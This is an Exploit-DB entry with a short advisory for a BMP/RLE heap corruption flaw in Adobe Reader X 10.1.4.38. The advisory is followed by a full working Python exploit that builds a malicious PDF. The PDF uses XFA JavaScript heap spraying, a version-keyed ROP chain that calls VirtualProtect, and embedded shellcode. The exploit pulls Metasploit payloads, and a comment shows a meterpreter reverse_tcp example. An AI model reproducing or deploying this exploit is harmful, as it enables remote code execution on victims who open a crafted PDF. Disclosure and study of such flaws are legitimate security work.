Adobe Reader X 10.1.4.38 – ‘.BMP’/’.RLE’ Heap Corruption

  • 作者: feliam
    日期: 2013-07-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/26703/
  • '''
    Title: Adobe Reader X BMP/RLE heap corruption
    Product: Adobe Reader X
    Version: 10.x
    Product Homepage: adobe.com
    Binary affected: AcroForm.api
    Binary Version: 10.1.4.38
    Binary MD5: 8e0fc0c6f206b84e265cc3076c4b9841
    Configuration Requirements
    -----------------------------------------
    Default configuration.
    
    Vulnerability Requirements
    -----------------------------------------
    None.
    
    Vulnerability Description
    -----------------------------------------
    Adobe Reader X fails to validate the input when parsing an embedded BMP RLE encoded image. Arbitrary code execution in the context of the sandboxed process is proved possible after a malicious embeded bmp image triggers a heap overflow. 
    
    
    Vulnerability WorkAround (if possible)
    -----------------------------------------
    Delete AcroForm.api
    '''
    from hashlib import md5
    import sys, struct
    ######### Begin of the miniPDF
    import zlib
    
    #For constructing a minimal pdf file
    ## PDF REference 3rd edition:: 3.2 Objects
    class PDFObject:
    def __init__(self):
    self.n=None
    self.v=None
    def __str__(self):
    raise Exception("Fail")
    
    ## PDF REference 3rd edition:: 3.2.1 Booleans Objects
    class PDFBool(PDFObject):
    def __init__(self,s):
    PDFObject.__init__(self)
    self.s=s
    def __str__(self):
    if self.s:
    return "true"
    return "false"
    
    ## PDF REference 3rd edition:: 3.2.2 Numeric Objects
    class PDFNum(PDFObject):
    def __init__(self,s):
    PDFObject.__init__(self)
    self.s=s
    def __str__(self):
    return "%s"%self.s
    
    ## PDF REference 3rd edition:: 3.2.3 String Objects
    class PDFString(PDFObject):
    def __init__(self,s):
    PDFObject.__init__(self)
    self.s=s
    def __str__(self):
    return "(%s)"%self.s
    
    ## PDF REference 3rd edition:: 3.2.3 String Objects / Hexadecimal Strings
    class PDFHexString(PDFObject):
    def __init__(self,s):
    PDFObject.__init__(self)
    self.s=s
    def __str__(self):
    return "<" + "".join(["%02x"%ord(c) for c in self.s]) + ">"
    
    ## A convenient type of literal Strings
    class PDFOctalString(PDFObject):
    def __init__(self,s):
    PDFObject.__init__(self)
    self.s="".join(["\\%03o"%ord(c) for c in s])
    def __str__(self):
    return "(%s)"%self.s
    
    ## PDF REference 3rd edition:: 3.2.4 Name Objects
    class PDFName(PDFObject):
    def __init__(self,s):
    PDFObject.__init__(self)
    self.s=s
    def __str__(self):
    return "/%s"%self.s
    
    ## PDF REference 3rd edition:: 3.2.5 Array Objects
    class PDFArray(PDFObject):
    def __init__(self,s):
    PDFObject.__init__(self)
    assert type(s) == type([])
    self.s=s
    def append(self,o):
    self.s.append(o)
    return self
    def __str__(self):
    return "[%s]"%(" ".join([ o.__str__() for o in self.s]))
    
    ## PDF REference 3rd edition:: 3.2.6 Dictionary Objects
    class PDFDict(PDFObject):
    def __init__(self, d={}):
    PDFObject.__init__(self)
    self.dict = {}
    for k in d:
    self.dict[k]=d[k]
    
    def __iter__(self):
    for k in self.dict.keys():
    yield k
    
    def __iterkeys__(self):
    for k in self.dict.keys():
    yield k
    
    def __getitem__(self, key):
    return self.dict[key]
    
    def add(self,name,obj):
    self.dict[name] = obj
    
    def get(self,name):
    if name in self.dict.keys():
    return self.dict[name]
    else:
    return None
    
    def __str__(self):
    s="<<"
    for name in self.dict:
    s+="%s %s "%(PDFName(name),self.dict[name])
    s+=">>"
    return s
    
    ## PDF REference 3rd edition:: 3.2.7 Stream Objects
    class PDFStream(PDFDict):
    def __init__(self,d={},stream=""):
    PDFDict.__init__(self,d)
    self.stream=stream
    self.filtered=self.stream
    self.add('Length', len(stream))
    self.filters = []
    
    def appendFilter(self, filter):
    self.filters.append(filter)
    self._applyFilters() #yeah every time .. so what!
    
    def _applyFilters(self):
    self.filtered = self.stream
    for f in self.filters:
    self.filtered = f.encode(self.filtered)
    if len(self.filters)>0:
    self.add('Length', len(self.filtered))
    self.add('Filter', PDFArray([f.name for f in self.filters]))
    #Add Filter parameters ?
    def __str__(self):
    self._applyFilters() #yeah every time .. so what!
    s=""
    s+=PDFDict.__str__(self)
    s+="\nstream\n"
    s+=self.filtered
    s+="\nendstream"
    return s
    
    ## PDF REference 3rd edition:: 3.2.8 Null Object
    class PDFNull(PDFObject):
    def __init__(self):
    PDFObject.__init__(self)
    
    def __str__(self):
    return "null"
    
    
    ## PDF REference 3rd edition:: 3.2.9 Indirect Objects
    class UnResolved(PDFObject):
    def __init__(self,n,v):
    PDFObject.__init__(self)
    self.n=n
    self.v=v
    def __str__(self):
    return "UNRESOLVED(%d %d)"%(self.n,self.v)
    class PDFRef(PDFObject):
    def __init__(self,obj):
    PDFObject.__init__(self)
    self.obj=[obj]
    def __str__(self):
    if len(self.obj)==0:
    return "null"
    return "%d %d R"%(self.obj[0].n,self.obj[0].v)
    
    ## PDF REference 3rd edition:: 3.3 Filters
    ## Example Filter...
    class FlateDecode:
    name = PDFName('FlateDecode')
    def __init__(self):
    pass
    def encode(self,stream):
    return zlib.compress(stream)
    def decode(self,stream):
    return zlib.decompress(stream)
    
    ## PDF REference 3rd edition:: 3.4 File Structure
    ## Simplest file structure...
    class PDFDoc():
    def __init__(self,obfuscate=0):
    self.objs=[]
    self.info=None
    self.root=None
    def setRoot(self,root):
    self.root=root
    def setInfo(self,info):
    self.info=info
    def _add(self,obj):
    if obj.v!=None or obj.n!=None:
    raise Exception("Already added!!!")
    obj.v=0
    obj.n=1+len(self.objs)
    self.objs.append(obj)
    def add(self,obj):
    if type(obj) != type([]):
    self._add(obj);
    else:
    for o in obj:
    self._add(o)
    def _header(self):
    return "%PDF-1.5\n%\xE7\xF3\xCF\xD3\n"
    def __str__(self):
    doc1 = self._header()
    xref = {}
    for obj in self.objs:
    xref[obj.n] = len(doc1)
    doc1+="%d %d obj\n"%(obj.n,obj.v)
    doc1+=obj.__str__()
    doc1+="\nendobj\n" 
    posxref=len(doc1)
    doc1+="xref\n"
    doc1+="0 %d\n"%(len(self.objs)+1)
    doc1+="0000000000 65535 f \n"
    for xr in xref.keys():
    doc1+= "%010d %05d n \n"%(xref[xr],0)
    doc1+="trailer\n"
    trailer =PDFDict()
    trailer.add("Size",len(self.objs)+1)
    if self.root == None:
    raise Exception("Root not set!")
    trailer.add("Root",PDFRef(self.root))
    if self.info:
    trailer.add("Info",PDFRef(self.info))
    doc1+=trailer.__str__()
    doc1+="\nstartxref\n%d\n"%posxref
    doc1+="%%EOF"
    return doc1
    ######### End of miniPDF
    
    SLIDESIZE=0x12C
    
    def mkBMP(payload, exception=True):
    bmp = ''
    #getInfoHeader
    bfType = 0x4d42
    assert bfType in [0x4d42,0x4349,0x5043,0x4943,0x5043] #0x4142: not supp
    bmp += struct.pack('<H', bfType)
    
    bfSize = 0
    bfOffBits = 0
    bmp += struct.pack('<L', bfSize)
    bmp += struct.pack('<H', 0) #Reserved1
    bmp += struct.pack('<H', 0) #Reserved2
    bmp += struct.pack('<L', bfOffBits)
    
    
    biSize = 0x40
    assert not biSize in [0x12]
    bmp += struct.pack('<L', biSize)
    
    
    biHeight = 1
    biWidth = SLIDESIZE#size of texture structure LFH enabled
    biPlanes = 1
    biBitCount = 8
    biCompression = 1
    biSizeImage = 0
    biXPelsPerMeter = 0
    biYPelsPerMeter = 0
    biClrUsed = 2
    if biClrUsed >0xff:
    raise "BUG!!!!"
    
    biClrImportant = 0
    bmp += struct.pack('<L', biWidth)
    bmp += struct.pack('<L', biHeight)
    bmp += struct.pack('<H', biPlanes)
    bmp += struct.pack('<H', biBitCount)
    bmp += struct.pack('<L', biCompression)
    bmp += struct.pack('<L', biSizeImage)
    bmp += struct.pack('<L', biXPelsPerMeter)
    bmp += struct.pack('<L', biYPelsPerMeter)
    bmp += struct.pack('<L', biClrUsed)
    bmp += struct.pack('<L', biClrImportant)
    bmp += 'A'*(biSize-0x40) #pad
    
    numColors=biClrUsed
    if biClrUsed == 0 or biBitCount < 8:
    numColors = 1<<biBitCount;
    
    bmp += 'RGBA'*(numColors) #pallete
    
    bmp += '\x00\x02\xff\x00' * ((0xffffffff-0xff) / 0xff) 
    
    #while (len(bmp)+10)%0x400 != 0:
    #bmp += '\x00\x02\x00\x00'
    
    assert len(payload) < 0x100 and len(payload) >= 3
    
    
    bmp += '\x00\x02'+chr(0x100-len(payload))+'\x00' 
    bmp += '\x00'+chr(len(payload))+payload
    
    if len(payload)&1 :
    bmp += 'P'
    
    if exception:
    bmp += '\x00\x02\x00\xff'*10#getting the pointer outside the texture so it triggers an exception
    bmp += '\x00'+chr(10)+'X'*10
    else:
    bmp += '\x00\x01'
    #'\x04X'*(biWidth+2000)+"\x00\x02"
    return bmp
    
    def UEncode(s):
    r = ''
    s += '\x00'*(len(s)%2)
    for i in range(0,len(s),2):
    r+= '\\u%04x'%(struct.unpack('<H', (s[i:i+2]))[0])
    return r
    r = ''
    for c in s:
    r+= '%%%02x'%ord(c)
    return r
    
    
    def mkXFAPDF(shellcode = '\x90'*0x400+'\xcc'):
    xdp = '''
    <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" timeStamp="2012-11-23T13:41:54Z" uuid="0aa46f9b-2c50-42d4-ab0b-1a1015321da7">
    <template xmlns:xfa="http://www.xfa.org/schema/xfa-template/3.1/" xmlns="http://www.xfa.org/schema/xfa-template/3.0/">
     <?formServer defaultPDFRenderFormat acrobat9.1static?>
     <?formServer allowRenderCaching 0?>
     <?formServer formModel both?>
     <subform name="form1" layout="tb" locale="en_US" restoreState="auto">
    <pageSet>
     <pageArea name="Page1" id="Page1">
    <contentArea x="0.25in" y="0.25in" w="576pt" h="756pt"/>
    <medium stock="default" short="612pt" long="792pt"/>
    <?templateDesigner expand 1?>
     </pageArea>
     <?templateDesigner expand 1?>
    </pageSet>
    <variables>
     <script name="util" contentType="application/x-javascript">
    // Convenience functions to pack and unpack litle endian an utf-16 strings
    function pack(i){
    var low = (i & 0xffff);
    var high = ((i>>16) & 0xffff);
    return String.fromCharCode(low)+String.fromCharCode(high);
    }
    function unpackAt(s, pos){
    returns.charCodeAt(pos) + (s.charCodeAt(pos+1)<<16);
    }
    function packs(s){
    result = "";
    for (i=0;i<s.length;i+=2)
    result += String.fromCharCode(s.charCodeAt(i) + (s.charCodeAt(i+1)<<8));
    return result;
    }
    function packh(s){
    return String.fromCharCode(parseInt(s.slice(2,4)+s.slice(0,2),16));
    }
    function packhs(s){
    result = "";
    for (i=0;i<s.length;i+=4)
    result += packh(s.slice(i,i+4));
    return result;
    }
    var verbose = 1;
    function message(x){
     if (util.verbose == 1 )
    xfa.host.messageBox(x);
    }
    
    //ROP0
    //7201E63DXCHG EAX,ESP
    //7201E63ERETN
    //ROP1
    //7200100AJMP DWORD PTR DS:[KERNEL32.GetModuleHandle]
    //ROP2
    //7238EF5CPUSH EAX
    //7238EF5DCALL DWORD PTR DS:[KERNEL32.GetProcAddress]
    //7238EF63TEST EAX,EAX
    //7238EF65JNE SHORT 7238EF84
    //7238EF84POP EBP
    //7238EF85RETN 4
    //ROP3
    //72001186JMP EAX ; kernel32.VirtualProtect
    //ROP4
    //72242491ADD ESP,70
    //72242494RETN
    
    
    var _offsets ={'Reader": { "10.104": {
    "acrord32":0xA4, 
    "rop0":0x1E63D,
    "rop1":0x100A,
    "rop2":0x38EF5C,
    "rop3":0x1186,
    "rop4":0x242491,
    },
    "10.105": { // Added by Eddie Mitchell
    "acrord32":0xA5,
    "rop0":0x1E52D,
    "rop1":0x100A,
    "rop2":0x393526,
    "rop3":0x1186,
    "rop4":0x245E71, 
    },
    "10.106": { // Added by Eddie Mitchell
    "acrord32":0xA5,
    "rop0":0x1E52D,
    "rop1":0x100A,
    "rop2":0x393526,
    "rop3":0x1186,
    "rop4":0x245E71, 
    },
     }, 
    "Exchange-Pro": {
    "10.105": { // Added by Eddie Mitchell
    "acrobat":0xCD,
    "rop0":0x3720D,
    "rop1":0x100A,
    "rop2":0x3DCC91,
    "rop3":0x180F,
    "rop4":0x25F2A1, 
     },
     },
    };
    
    function offset(x){
    //app.viewerType will be "Reader" for Reader, 
    //"Exchange" for Acrobat Standard or "Exchange-Pro" for Acrobat Pro
    try {
    return _offsets[app.viewerType][app.viewerVersion][x];
    }
    catch (e) {
     xfa.host.messageBox("Type:" +app.viewerType+ " Version: "+app.viewerVersion+" NOT SUPPORTED!");
    }
    return 0x41414141;
    }
    
     </script>
     <script name="spray" contentType="application/x-javascript">
    // Global variable for spraying 
    var slide_size=%%SLIDESIZE%%;
    var size = 200;
    var chunkx = "%%MINICHUNKX%%";
    var x = new Array(size);
    var y = new Array(size);
    var z = new Array(size);
    var pointers = new Array(100);
    var done = 0;
     </script>
     <?templateDesigner expand 1?>
    </variables>
    <subform w="576pt" h="756pt">
     <!-- This image fiel hold the cashing image -->
     <field name="ImageCrash">
    <ui> <imageEdit/> </ui>
    <value>
     <image aspect="actual" contentType="image/jpeg">%%BMPFREELFH%%</image>
    </value>
     </field>
    </subform>
    <event activity="initialize" name="event__initialize">
     <script contentType="application/x-javascript">
    // This script runs at the very beginning and 
    // is used to prepare the memory layout 
    util.message("Initialize");
    var i; var j;
    if (spray.done == 0){
     //Trigger LFH use
     var TOKEN = "\u5858\u5858\u5678\u1234";
     var chunk_len = spray.slide_size/2-1-(TOKEN.length+2+2);
    
     for (i=0; i < spray.size; i+=1)
    spray.x[i] = TOKEN + util.pack(i) +
     spray.chunkx.substring(0, chunk_len) + 
     util.pack(i) + "";
    
     util.message("Initial spray done!");
     for (j=0; j < size; j++)
    for (i=spray.size-1; i > spray.size/4; i-=10)
     spray.x[i]=null;
    
     spray.done = 1;
     util.message("Generating holes done!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
    }
    // After this the form layout is rendered and the bug triggered 
     </script>
    </event>
    <event activity="docReady" ref="$host" name="event__docReady">
     <script contentType="application/x-javascript">
    // This script runs once the page is ready 
    util.message("DocReady");
    var i; var j;
    var found = -1;// Index of the overlapped string
    var acro = 0;// Base of the AcroRd32_dll
    
    // Search over all strings for the first one with the broken TOKEN 
    for (i=0; i < spray.size; i+=1)
     if ((spray.x[i]!=null)&& (spray.x[i][0] != "\u5858")){
    found = i;
    acro = (( util.unpackAt(spray.x[i], 14) >> 16) - util.offset("acrord32")) << 16;
    util.message("Found! String number "+ found + " has been corrupted acrord32.dll:" + acro.toString(16) );
    break;
     }
    // Behaviour is mostly undefined if not found 
    if (found == -1){
     util.message("Corrupted String NOT Found!");
     event.target.closeDoc(true);
    }
    
    // Corrupted string was found let's generates the new 
    // string for overlapping the struct before freeing it
    var chunky = "";
    for (i=0; i < 7; i+=1)
     chunky += util.pack(0x41414141);
    chunky += util.pack(0x10101000);
    while (chunky.length < spray.slide_size/2)
     chunky += util.pack(0x58585858);
    
    // Free the overlapping string 
    util.message("Feeing corrupted string! Previous string will we used-free ("+(found)+")");
    for (j=0; j < 100000; j++)
     spray.x[found-1]=spray.x[found]=null;
    
    // Trigger several allocs that will fall over the structure
    for (i=0; i < 200; i+=1){
     ID = "" + i;
     spray.y[i] = chunky.substring(0,spray.slide_size/2-ID.length) + ID+ "";
    }
    util.message("Allocated 20 chunks-y\\n"); 
    
    // Heap spraying make's baby jesus cry!
    // Construct the 0x1000 small chunk for spraying 
    var obj = 0x10101000;
    var pointer_slide = ""; 
    pointer_slide += util.pack(acro+util.offset("rop4")); //add esp,70;ret
    for (i=0; i < 27; i+=1)
     pointer_slide += util.pack(0x41414141);
    obj += pointer_slide.length*2;
    // ROP
    pointer_slide += util.pack(acro+util.offset("rop0")); //XCHG EAX,ESP;ret
    pointer_slide += util.pack(acro+util.offset("rop1")); //0x100A jmp getmodule
    pointer_slide += util.pack(acro+util.offset("rop2")); //@0x04 - getProcAddress
    pointer_slide += util.pack(obj+0xDC); //@0x08 point to KERNEL32
    //@0x10
    pointer_slide += util.pack(obj+0xCC);
    pointer_slide += util.pack(0x43434343); // POPPED TO EBP 
    pointer_slide += util.pack(acro+util.offset("rop3")); // JMP EAX
    pointer_slide += util.pack(obj);//Points to offset 0 of this
    //@0x20
    pointer_slide += util.pack(obj+0x38);
    pointer_slide += util.pack(obj+0x38);
    pointer_slide += util.pack(0x1000); //SIZE_T dwSize,
    pointer_slide += util.pack(0x40); // DWORD flNewProtect,
    //0x30
    pointer_slide += util.pack(obj+0x34); //PDWORD lpflOldProtect
    pointer_slide += util.pack(0x00000000); //DWORD OldProtect
    pointer_slide += util.packhs("E9B1000000909090");
    //0x40
    pointer_slide += util.pack(acro); //Used by next stage
    pointer_slide += util.pack(0xCCCCCCCC);
    pointer_slide += util.pack(0xCCCCCCCC);
    pointer_slide += util.pack(0xCCCCCCCC);
    //0x50
    pointer_slide += util.pack(0xCCCCCCCC);
    pointer_slide += util.pack(0xCCCCCCCC);
    pointer_slide += util.pack(0xCCCCCCCC);
    pointer_slide += util.pack(0xCCCCCCCC);
    //0x60
    pointer_slide += util.pack(0xCCCCCCCC);
    pointer_slide += util.pack(0xCCCCCCCC);
    pointer_slide += util.pack(0xCCCCCCCC);
    pointer_slide += util.pack(0xCCCCCCCC);
    //0x70
    pointer_slide += util.pack(acro);
    pointer_slide += util.pack(0x48484848);
    pointer_slide += util.pack(0x49494949);
    pointer_slide += util.pack(0x49494949);
    
    //0x80
    pointer_slide += util.pack(0x49494949);
    pointer_slide += util.pack(0x50505050);
    pointer_slide += util.pack(0x46464646);
    pointer_slide += util.pack(0x46464646);
    //0x90
    pointer_slide += util.pack(0x46464646);
    pointer_slide += util.pack(0x46464646);
    pointer_slide += util.pack(0x46464646);
    pointer_slide += util.pack(0x46464646);
    //0xa0
    pointer_slide += util.pack(0x46464646);
    pointer_slide += util.pack(0x46464646);
    pointer_slide += util.pack(0x46464646);
    pointer_slide += util.pack(0x46464646);
    //0xb0
    pointer_slide += util.pack(0x46464646);
    pointer_slide += util.pack(0x46464646);
    pointer_slide += util.pack(0x46464646);
    pointer_slide += util.pack(0x46464646);
    //0xc0
    pointer_slide += util.pack(0x46464646);
    pointer_slide += util.pack(0x46464646);
    pointer_slide += util.pack(0xCCCCCCCC);
    pointer_slide += util.packs("VirtualProtect"); //@0xCC
    pointer_slide += "\u0000";
    pointer_slide += "KERNEL32";
    pointer_slide += "\u0000";
    pointer_slide += "%%SHELLCODE%%";
    while (pointer_slide.length < 0x1000/2)
     pointer_slide += util.pack(0x41414141);
    pointer_slide = pointer_slide.substring(0,0x1000/2);
    util.message("Pointer slide size: " + pointer_slide.length);
    
    // And now ensure it gets bigger than 0x100000 bytes
    while (pointer_slide.length < 0x100000/2)
     pointer_slide += pointer_slide;
    // And the actual spray 
    for (i=0; i < 100; i+=1)
     spray.pointers[i] = pointer_slide.substring(16, 0x100000/2-16-2)+ util.pack(i) + "";
    
    // Everything done here close the doc and 
    // trigger the use of the vtable
    util.message("Now what?");
    var pdfDoc = event.target;
    pdfDoc.closeDoc(true);
    
    </script>
    </event>
     </subform>
     <?originalXFAVersion http://www.xfa.org/schema/xfa-template/2.5/?>
     <?templateDesigner DefaultLanguage JavaScript?>
     <?templateDesigner DefaultRunAt client?>
     <?acrobat JavaScript strictScoping?>
     <?PDFPrintOptions embedViewerPrefs 0?>
     <?PDFPrintOptions embedPrintOnFormOpen 0?>
     <?PDFPrintOptions scalingPrefs 0?>
     <?PDFPrintOptions enforceScalingPrefs 0?>
     <?PDFPrintOptions paperSource 0?>
     <?PDFPrintOptions duplexMode 0?>
     <?templateDesigner DefaultPreviewType interactive?>
     <?templateDesigner DefaultPreviewPagination simplex?>
     <?templateDesigner XDPPreviewFormat 19?>
     <?templateDesigner DefaultCaptionFontSettings face:Myriad Pro;size:10;weight:normal;style:normal?>
     <?templateDesigner DefaultValueFontSettings face:Myriad Pro;size:10;weight:normal;style:normal?>
     <?templateDesigner Zoom 119?>
     <?templateDesigner FormTargetVersion 30?>
     <?templateDesigner SaveTaggedPDF 1?>
     <?templateDesigner SavePDFWithEmbeddedFonts 1?>
     <?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?></template>
    <config xmlns="http://www.xfa.org/schema/xci/3.0/">
     <agent name="designer">
    <!--[0..n]-->
    <destination>pdf</destination>
    <pdf>
     <!--[0..n]-->
     <fontInfo/>
    </pdf>
     </agent>
     <present>
    <!--[0..n]-->
    <pdf>
     <!--[0..n]-->
     <version>1.7</version>
     <adobeExtensionLevel>5</adobeExtensionLevel>
    </pdf>
    <common/>
    <xdp>
     <packets>*</packets>
    </xdp>
     </present>
    </config>
    <localeSet xmlns="http://www.xfa.org/schema/xfa-locale-set/2.7/">
     <locale name="en_US" desc="English (United States)">
    <calendarSymbols name="gregorian">
     <monthNames>
    <month>January</month>
    <month>February</month>
    <month>March</month>
    <month>April</month>
    <month>May</month>
    <month>June</month>
    <month>July</month>
    <month>August</month>
    <month>September</month>
    <month>October</month>
    <month>November</month>
    <month>December</month>
     </monthNames>
     <monthNames abbr="1">
    <month>Jan</month>
    <month>Feb</month>
    <month>Mar</month>
    <month>Apr</month>
    <month>May</month>
    <month>Jun</month>
    <month>Jul</month>
    <month>Aug</month>
    <month>Sep</month>
    <month>Oct</month>
    <month>Nov</month>
    <month>Dec</month>
     </monthNames>
     <dayNames>
    <day>Sunday</day>
    <day>Monday</day>
    <day>Tuesday</day>
    <day>Wednesday</day>
    <day>Thursday</day>
    <day>Friday</day>
    <day>Saturday</day>
     </dayNames>
     <dayNames abbr="1">
    <day>Sun</day>
    <day>Mon</day>
    <day>Tue</day>
    <day>Wed</day>
    <day>Thu</day>
    <day>Fri</day>
    <day>Sat</day>
     </dayNames>
     <meridiemNames>
    <meridiem>AM</meridiem>
    <meridiem>PM</meridiem>
     </meridiemNames>
     <eraNames>
    <era>BC</era>
    <era>AD</era>
     </eraNames>
    </calendarSymbols>
    <datePatterns>
     <datePattern name="full">EEEE, MMMM D, YYYY</datePattern>
     <datePattern name="long">MMMM D, YYYY</datePattern>
     <datePattern name="med">MMM D, YYYY</datePattern>
     <datePattern name="short">M/D/YY</datePattern>
    </datePatterns>
    <timePatterns>
     <timePattern name="full">h:MM:SS A Z</timePattern>
     <timePattern name="long">h:MM:SS A Z</timePattern>
     <timePattern name="med">h:MM:SS A</timePattern>
     <timePattern name="short">h:MM A</timePattern>
    </timePatterns>
    <dateTimeSymbols>GyMdkHmsSEDFwWahKzZ</dateTimeSymbols>
    <numberPatterns>
     <numberPattern name="numeric">z,zz9.zzz</numberPattern>
     <numberPattern name="currency">$z,zz9.99|($z,zz9.99)</numberPattern>
     <numberPattern name="percent">z,zz9%</numberPattern>
    </numberPatterns>
    <numberSymbols>
     <numberSymbol name="decimal">.</numberSymbol>
     <numberSymbol name="grouping">,</numberSymbol>
     <numberSymbol name="percent">%</numberSymbol>
     <numberSymbol name="minus">-</numberSymbol>
     <numberSymbol name="zero">0</numberSymbol>
    </numberSymbols>
    <currencySymbols>
     <currencySymbol name="symbol">$</currencySymbol>
     <currencySymbol name="isoname">USD</currencySymbol>
     <currencySymbol name="decimal">.</currencySymbol>
    </currencySymbols>
    <typefaces>
     <typeface name="Myriad Pro"/>
     <typeface name="Minion Pro"/>
     <typeface name="Courier Std"/>
     <typeface name="Adobe Pi Std"/>
     <typeface name="Adobe Hebrew"/>
     <typeface name="Adobe Arabic"/>
     <typeface name="Adobe Thai"/>
     <typeface name="Kozuka Gothic Pro-VI M"/>
     <typeface name="Kozuka Mincho Pro-VI R"/>
     <typeface name="Adobe Ming Std L"/>
     <typeface name="Adobe Song Std L"/>
     <typeface name="Adobe Myungjo Std M"/>
    </typefaces>
     </locale>
     <?originalXFAVersion http://www.xfa.org/schema/xfa-locale-set/2.1/?></localeSet>
    <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
     <xfa:data xfa:dataNode="dataGroup"/>
    </xfa:datasets>
    <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.2-c001 63.139439, 2011/06/07-10:39:26">
     <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
    <rdf:Description xmlns:xmp="http://ns.adobe.com/xap/1.0/" rdf:about="">
     <xmp:MetadataDate>2012-11-23T13:41:54Z</xmp:MetadataDate>
     <xmp:CreatorTool>Adobe LiveCycle Designer ES 10.0</xmp:CreatorTool>
     <xmp:ModifyDate>2012-11-23T05:26:02-08:00</xmp:ModifyDate>
     <xmp:CreateDate>2012-11-23T05:15:47-08:00</xmp:CreateDate>
    </rdf:Description>
    <rdf:Description xmlns:pdf="http://ns.adobe.com/pdf/1.3/" rdf:about="">
     <pdf:Producer>Adobe LiveCycle Designer ES 10.0</pdf:Producer>
    </rdf:Description>
    <rdf:Description xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" rdf:about="">
     <xmpMM:DocumentID>uuid:0aa46f9b-2c50-42d4-ab0b-1a1015321da7</xmpMM:DocumentID>
     <xmpMM:InstanceID>uuid:86c66599-7238-4e9f-8fad-fe2cd922afb2</xmpMM:InstanceID>
    </rdf:Description>
    <rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/" rdf:about="">
     <dc:format>application/pdf</dc:format>
    </rdf:Description>
     </rdf:RDF>
    </x:xmpmeta>
    <xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve">
     <annots/>
    </xfdf></xdp:xdp>
    '''
    assert len(shellcode) <= 0xF00, "You need a smaller shellcode, sorry"
    
    #shellcode
    xdp = xdp.replace("%%SHELLCODE%%",UEncode(shellcode))
    xdp = xdp.replace("%%SLIDESIZE%%", "0x%x"%SLIDESIZE);
    xdp = xdp.replace("%%MINICHUNKX%%",UEncode('O'*SLIDESIZE))
    xdp = xdp.replace("%%BMPFREELFH%%",mkBMP('\x01\x00\x00\x00\x00\x00'+ chr(0x27)+'\x05',True).encode('base64'))
    #xdp = xdp.replace("%%BMPFREELFH%%",file("/usr/share/pixmaps/gnome-news.png","rb").read().encode('base64'))
    
    file("%s.log"%sys.argv[0].split('.')[0],'wb').write(xdp)
    #The document
    doc = PDFDoc()
    
    #font
    font = PDFDict()
    font.add("Name", PDFName("F1"))
    font.add("Subtype", PDFName("Type1"))
    font.add("BaseFont", PDFName("Helvetica"))
    
    #name:font map
    fontname = PDFDict()
    fontname.add("F1",font)
    
    #resources
    resources = PDFDict()
    resources.add("Font",fontname)
    
    #contents
    contentsDict = PDFDict()
    contents=PDFStream(contentsDict, '''BT 
    /F1 24 Tf 
    100 100 Td 
    (Pedefe Pedefeito Pedefeon!) Tj 
    ET''')
    
    #page
    page = PDFDict()
    page.add("Type",PDFName("Page"))
    page.add("Resources",resources)
    page.add("Contents", PDFRef(contents))
    
    #pages
    pages = PDFDict()
    pages.add("Type", PDFName("Pages"))
    pages.add("Kids", PDFArray([PDFRef(page)]))
    pages.add("Count", PDFNum(1))
    
    #add parent reference in page
    page.add("Parent",PDFRef(pages))
    
    xfa = PDFStream(PDFDict(), xdp)
    xfa.appendFilter(FlateDecode())
    doc.add(xfa)
    
    #form
    form = PDFDict()
    form.add("XFA", PDFRef(xfa))
    doc.add(form)
    
    #shellcode2
    shellcode2 = PDFStream(PDFDict(), struct.pack("<L",0xcac0face)+"\xcc"*10)
    doc.add(shellcode2)
    
    #catalog
    catalog = PDFDict()
    catalog.add("Type", PDFName("Catalog"))
    catalog.add("Pages", PDFRef(pages))
    catalog.add("NeedsRendering", "true")
    catalog.add("AcroForm", PDFRef(form))
    
    
    adbe = PDFDict()
    adbe.add("BaseVersion","/1.7")
    adbe.add("ExtensionLevel",PDFNum(3))
    
    extensions = PDFDict()
    extensions.add("ADBE", adbe)
    
    catalog.add("Extensions",extensions)
    doc.add([catalog,pages,page,contents])
    doc.setRoot(catalog)
    
    
    #render it
    return doc.__str__()
    
    
    if __name__ == '__main__':
    import optparse,os
    from subprocess import Popen, PIPE
    parser = optparse.OptionParser(description='Adobe Reader X 10.1.4 XFA BMP RLE Exploit')
    parser.add_option('--debug', action='store_true', default=False, help='For debugging')
    parser.add_option('--msfpayload', metavar='MSFPAYLOAD', default="windows/messagebox ", help="Metasploit payload. Ex. 'win32_exec CMD=calc'")
    parser.add_option('--payload', metavar='PAYLOAD', default=None)
    parser.add_option('--doc', action='store_true', default=False, help='Print detailed documentation')
    (options, args) = parser.parse_args()
     
    if options.doc:
    print __doc__
    os.exit(-1)
    
    if options.debug:
    print mkXFAPDF(),
    os.exit(-1)
    if options.payload == None:
    #"windows/meterpreter/reverse_tcp LHOST=192.168.56.1 EXITFUNC=process R"
    msfpayload = Popen("msfpayload4.4 %s R"%options.msfpayload, shell=True, stdout=PIPE)
    shellcode = msfpayload.communicate()[0]
    else:
    shellcode = file(options.payload, "rb").read() #options.hexpayload.decode('hex')
    print mkXFAPDF(shellcode),